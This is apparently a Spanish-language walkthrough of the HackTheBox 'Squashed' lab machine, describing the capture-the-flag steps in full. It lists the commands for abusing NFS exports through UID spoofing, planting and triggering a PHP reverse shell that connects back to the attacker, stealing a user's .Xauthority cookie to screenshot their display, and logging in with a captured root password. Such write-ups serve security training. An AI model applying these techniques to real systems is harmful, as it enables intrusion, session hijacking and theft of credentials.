Squashed-Writeup

Skills
- Impersonate User - mount
- Arbitrary File Upload
- Cookie Hijaking - .Xauthority
- Information leakage - Privilage Escalation
Reconocimiento
Nos creamos nuestros directorios de trabajo:
$ mkdir Squashed-10.10.11.191
$ cd Squashed-10.10.11.191
$mkdir nmap exploit content
Luego iniciamos la fase de reconocimiento:
$ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.11.189 -oG allPorts
Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)
$ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.191
[*] Open ports: 22,80,111,2049,33581,37529,44189,45027
[*] Ports copied to clipboard
Vemos muchos puertos, vamos a realizar un escaneo mas detallado sobre esos puertos:
$ nmap -sCV -p22,80,111,2049,33581,37529,44189,45027 10.10.11.191 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 03:52 -04
Nmap scan report for 10.10.11.191
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 40465/udp6 mountd
| 100005 1,2,3 44189/tcp mountd
| 100005 1,2,3 44318/udp mountd
| 100005 1,2,3 44861/tcp6 mountd
| 100021 1,3,4 32953/tcp6 nlockmgr
| 100021 1,3,4 37529/tcp nlockmgr
| 100021 1,3,4 42544/udp6 nlockmgr
| 100021 1,3,4 46924/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
33581/tcp open mountd 1-3 (RPC #100005)
37529/tcp open nlockmgr 1-4 (RPC #100021)
44189/tcp open mountd 1-3 (RPC #100005)
45027/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Vamos a lanzar un whatweb sobre el puerto 80, para obtener mas información:
$ whatweb http://10.10.11.191
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]
No vemos nada que nos llame la atención, vamos a ver como se ve la web:

Vemos una pagina de muebles, vemos un "Services, About, Shop, Contact, Login". Pero si le damos click no nos lleva a ningún lado, como si estuviese en producción. Vamos a buscar por posibles directorios, yo voy a usar la herramienta wfuzz:
$ wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.191/FUZZ
Pero no nos encuentra nada interesante, antes de seguir profundizando en el escaneo web, yo revisaría los otros puertos primero. Si revisamos nuestro escaneo(el archivo targeted), nos encontramos que el puerto 2049, esta expuesto. Con la herramienta showmount, podemos listar los recursos que esta compartiendo por de medio de este.(Mas información sobre el puerto 2049 -> nfs-service)
$ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
Vemos dos recursos, yo voy montarme la ruta "/var/www/html" y ver que hay en el directorio:
$ mkdir /mnt/tmp
$ mount -t nfs 10.10.11.191:/var/www/html /mnt/tmp
El funcionamiento de las monturas es el mismo que las carpetas compartidas en windows, esto quiere decir que si modificamos un archivo. Se modifica en la maquina que este compartiendo estos recursos.
$ cd /mnt/tmp
bash: cd: tmp/: Permission denied
$ ls -la
drwxr-xr-- 5 2017 www-data 4096 jun 19 12:05 tmp
Pero tenemos un problema, no tenemos ningún permiso sobre ese directorio. Pero vemos que el propietario tiene el UID(Identificador de Usuario), esto es peligroso ya que podemos asignar ese UID a un usuario a nivel de sistema y se volverá este propietario.
$ useradd -m test
$ id test
uid=1001(test) gid=1004(test) groups=1004(test)
$ usermod -u 2017 test
$ ls -la
drwxr-xr-- 5 test www-data 4096 jun 19 12:05 tmp
Vemos que ahora somos propietarios del directorio, vamos a revisar que hay dentro:
$ su test
test@parrot$ cd tmp
test@parrot$ ls -la
drwxr-xr-- 5 test www-data 4096 jun 19 12:10 .
drwxr-xr-x 1 root root 12 jun 19 12:03 ..
drwxr-xr-x 2 test www-data 4096 jun 19 12:10 css
-rw-r--r-- 1 test www-data 44 oct 21 2022 .htaccess
drwxr-xr-x 2 test www-data 4096 jun 19 12:10 images
-rw-r----- 1 test www-data 32532 jun 19 12:10 index.html
drwxr-xr-x 2 test www-data 4096 jun 19 12:10 js
Parece ser que es la pagina web que esta montada en el puerto 80, vamos a usar un script en php para ganar una revershell. El siguiente script -> php-revershell. Simplemente le cambias la ip por la vuestra y el puerto. Lo depositamos en la maquina victima en mi caso "/mnt/tmp" y le hacemos un curl, antes de eso nos ponemos en escucha con nc(si no les da la revershell, revisar si exististe el archivo .php. Ya que hay una tarea cron que lo borra cada "x" tiempo):
$ nc -nlvp 443
listening on [any] 443 ...
$ curl -s -X GET http://10.10.11.191/php-reverse-shell.php
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.191] 60294
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
15:12:23 up 10:04, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 05:08 10:04m 1:11 0.04s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex
Y conseguimos ganar acceso a la maquina como el usuario alex, realizamos el tratamiento a la tty para tener una consola interactiva, para poder movernos mas cómodos:
$ script /dev/null -c bash
Script started, file is /dev/null
$ ^Z #Ctrl + Z
[1]+ Stopped nc -nlvp 443
$ stty raw -echo;fg
reset xterm
$ export TERM=xterm
$ export SHELL=bash
Esto nos va permitir poder realizar ctrl + c, ctrl + l. Sin tener ningún inconveniente. Vamos a montar el otro directorio que estaba siendo compartido por la maquina Squashed
Escalada de Privilegios
$ mkdir /mnt/var
$ mount -t nfs 10.10.11.191:/home/ross /mnt/var
$ ls -la /mnt
total 8
drwxr-xr-x 1 root root 12 jun 19 12:03 .
drwxr-xr-x 1 root root 278 abr 29 14:16 ..
drwxr-xr-- 5 test www-data 4096 jun 20 11:50 tmp
drwxr-xr-x 14 1001 scanner 4096 jun 20 01:08 var
$ useradd -m test2
$ usermod -u 1001 test2
$ su test2
test2@parrot/$ cd /mnt/var
test2@parrot/mnt/var$ ls -la
total 64
drwxr-xr-x 14 test2 scanner 4096 jun 20 01:08 .
drwxr-xr-x 1 root root 12 jun 19 12:03 ..
lrwxrwxrwx 1 root root 9 oct 20 2022 .bash_history -> /dev/null
drwx------ 11 test2 scanner 4096 oct 21 2022 .cache
drwx------ 12 test2 scanner 4096 oct 21 2022 .config
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Desktop
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Documents
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Downloads
drwx------ 3 test2 scanner 4096 oct 21 2022 .gnupg
drwx------ 3 test2 scanner 4096 oct 21 2022 .local
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Music
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Pictures
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Public
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Templates
drwxr-xr-x 2 test2 scanner 4096 oct 21 2022 Videos
lrwxrwxrwx 1 root root 9 oct 21 2022 .viminfo -> /dev/null
-rw------- 1 test2 scanner 57 jun 20 01:08 .Xauthority
-rw------- 1 test2 scanner 2475 jun 20 01:08 .xsession-errors
-rw------- 1 test2 scanner 2475 dic 27 12:33 .xsession-errors.old
Vemos un .Xauthority y esto es peligroso ya que se suelen almacenar cookies en ese archivo y podemos suplantar la identidad de un usuario. Vamos a ello:
$ test2@parrot$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
alex@squashed:/home/alex/$ wget http://10.10.14.14/.Xauthority
Gracias a esto podemos suplantar la identidad de "ross", y podemos hacer una captura de lo que esta viendo, pero necesitamos saber interfaz esta operando esto lo podemos saber con el comando w
alex@squashed:/home/ross$ w
16:02:35 up 10:54, 1 user, load average: 0.03, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 05:08 10:54m 1:17 0.04s /usr/libexec/gn
Vemos que la interfaz que usa es la ":0" con esto podemos tomar una captura de pantalla con la herramienta xwd(si no funciona, exportar la variable HOME=/home/alex):
alex@squashed:/home/ross$ xwd -root -screen -silent -display :0 > /tmp/screen.xwd
Ahora nos traemos la imagen a nuestra maquina, yo voy a crearme un servidor con python:
alex@squashed:/home/ross$ cd /tmp
alex@squashed:/tmp$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
Le hacemos un wget desde nuestra maquina:
$ wget 10.10.11.191:7000/screen.xwd
--2023-06-20 20:13:37-- http://10.10.11.191:7000/screen.xwd
Connecting to 10.10.11.191:7000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1923179 (1,8M) [image/x-xwindowdump]
Saving to: ‘screen.xwd’
screen.xwd 100%[=====================================================================================>] 1,83M 227KB/s in 8,9s
2023-06-20 20:13:46 (212 KB/s) - ‘screen.xwd’ saved [1923179/1923179]
Lo convertimos a .png para poder visualizar la imagen:
$ convert screen.xwd screen.png
$ ls
screen.png screen.xwd
Vemos como se ve la imagen:

Vemos una contraseña, vamos a provar si es la de root:
alex@squashed:~$ su root
Password: cah$mei7rai9A
root@squashed:/home/alex$ whoami
root
Y conseguimos escalar privilegios y convertirnos en root.
Conclusión
Maquina bastante wapa de hackthebox para vel el funcionamiento de mounturas y de como se puede abusar de un .Xauthority